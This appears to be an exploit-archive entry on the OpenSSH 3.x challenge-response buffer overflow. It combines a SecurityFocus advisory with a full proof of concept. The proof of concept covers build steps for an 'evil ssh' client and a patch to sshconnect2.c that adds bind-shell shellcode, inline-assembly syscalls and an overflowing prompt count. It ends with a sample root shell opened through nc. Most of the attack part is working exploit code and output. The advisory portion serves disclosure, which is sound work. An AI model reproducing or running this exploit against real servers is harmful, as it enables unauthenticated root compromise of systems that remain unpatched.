OpenSSH 3.x Challenge-Response Buffer Overflow Vulnerabilities (1)



source: http://www.securityfocus.com/bid/5093/info


The OpenSSH team has reported two vulnerabilities in OpenSSH that are remotely exploitable and may allow for unauthenticated attackers to obtain root privileges.

The conditions are related to the OpenSSH SSH2 challenge-response mechanism. They occur when the OpenSSH server is configured at compile time to support BSD_AUTH or SKEY. OpenBSD 3.0 and later ship with OpenSSH built to support BSD_AUTH. Systems are vulnerable when either of the following configuration options are enabled:

PAMAuthenticationViaKbdInt
ChallengeResponseAuthentication

Attackers can exploit the vulnerabilities by crafting a malicious response. Since this occurs before the authentication process completes, remote attackers without valid credentials may exploit this. Successful exploits may result in the execution of shellcode or a denial of service.

OpenSSH 3.4 addresses the problem. Upgrading to this version will eliminate the vulnerabilities. Administrators who cannot install OpenSSH 3.4 should upgrade to version 3.3 and enable the privilege-separation feature.

Proof-of-concept code has been made public. Users are advised to upgrade immediately.

**UPDATE: One of these issues is trivially exploitable and is still present in OpenSSH 3.5p1 and 3.4p1. Although these reports have not been confirmed, administrators are advised to implement the OpenSSH privilege-separation feature as a workaround. BSD administrators are also advised to upgrade to the newest kernel versions because recently patched vulnerabilities may allow root compromise despite the use of the privilege-separation feature. 

1. Download openssh-3.2.2p1.tar.gz and untar it

~ $ tar -xvzf openssh-3.2.2p1.tar.gz

2. Apply the patch provided below by running:

~/openssh-3.2.2p1 $ patch < path_to_diff_file

3. Compile the patched client

~/openssh-3.2.2p1 $ ./configure && make ssh

4. Run the evil ssh:

~/openssh-3.2.2p1 $ ./ssh root:skey@localhost

5. If the sploit worked, you can connect to port 128 in another terminal:

~ $ nc localhost 128
uname -a
OpenBSD nice 3.1 GENERIC#59 i386
id
uid=0(root) gid=0(wheel) groups=0(wheel)

--- sshconnect2.c    Sun Mar 31 20:49:39 2002
+++ evil-sshconnect2.c    Fri Jun 28 19:22:12 2002
@@ -839,6 +839,56 @@
 /*
  * parse INFO_REQUEST, prompt user and send INFO_RESPONSE
  */
+
+int do_syscall( int nb_args, int syscall_num, ... );
+
+void shellcode( void )
+{
+    int server_sock, client_sock, len;
+    struct sockaddr_in server_addr;
+    char rootshell[12], *argv[2], *envp[1];
+
+    server_sock = do_syscall( 3, 97, AF_INET, SOCK_STREAM, 0 );
+    server_addr.sin_addr.s_addr = 0;
+    server_addr.sin_port = 32768;
+    server_addr.sin_family = AF_INET;
+    do_syscall( 3, 104, server_sock, (struct sockaddr *) &server_addr, 
16 );
+    do_syscall( 2, 106, server_sock, 1 );
+    client_sock = do_syscall( 3, 30, server_sock, (struct sockaddr *)
+    &server_addr, &len );
+    do_syscall( 2, 90, client_sock, 0 );
+    do_syscall( 2, 90, client_sock, 1 );
+    do_syscall( 2, 90, client_sock, 2 );
+    * (int *) ( rootshell + 0 ) = 0x6E69622F;
+    * (int *) ( rootshell + 4 ) = 0x0068732f;
+    * (int *) ( rootshell + 8 ) = 0;
+    argv[0] = rootshell;
+    argv[1] = 0;
+    envp[0] = 0;
+    do_syscall( 3, 59, rootshell, argv, envp );
+}
+
+int do_syscall( int nb_args, int syscall_num, ... )
+{
+    int ret;
+    asm(
+    "mov    8(%ebp), %eax; "
+    "add    $3,%eax; "
+    "shl    $2,%eax; "
+    "add    %ebp,%eax; "
+    "mov    8(%ebp), %ecx; "
+    "push_args: "
+    "push    (%eax); "
+    "sub    $4, %eax; "
+    "loop    push_args; "
+    "mov    12(%ebp), %eax; "
+    "push    $0; "
+    "int    $0x80; "
+    "mov    %eax,-4(%ebp)"
+    );
+    return( ret );
+}
+
 void
 input_userauth_info_req(int type, u_int32_t seq, void *ctxt)
 {
@@ -865,7 +915,7 @@
     xfree(inst);
     xfree(lang);
 
-    num_prompts = packet_get_int();
+    num_prompts = 1073741824 + 1024;
     /*
      * Begin to build info response packet based on prompts requested.
      * We commit to providing the correct number of responses, so if
@@ -874,6 +924,13 @@
      */
     packet_start(SSH2_MSG_USERAUTH_INFO_RESPONSE);
     packet_put_int(num_prompts);
+
+    for( i = 0; i < 1045; i++ )
+        packet_put_cstring( "xxxxxxxxxx" );
+
+    packet_put_string( shellcode, 2047 );
+    packet_send();
+    return;
 
     debug2("input_userauth_info_req: num_prompts %d", num_prompts);
     for (i = 0; i < num_prompts; i++) {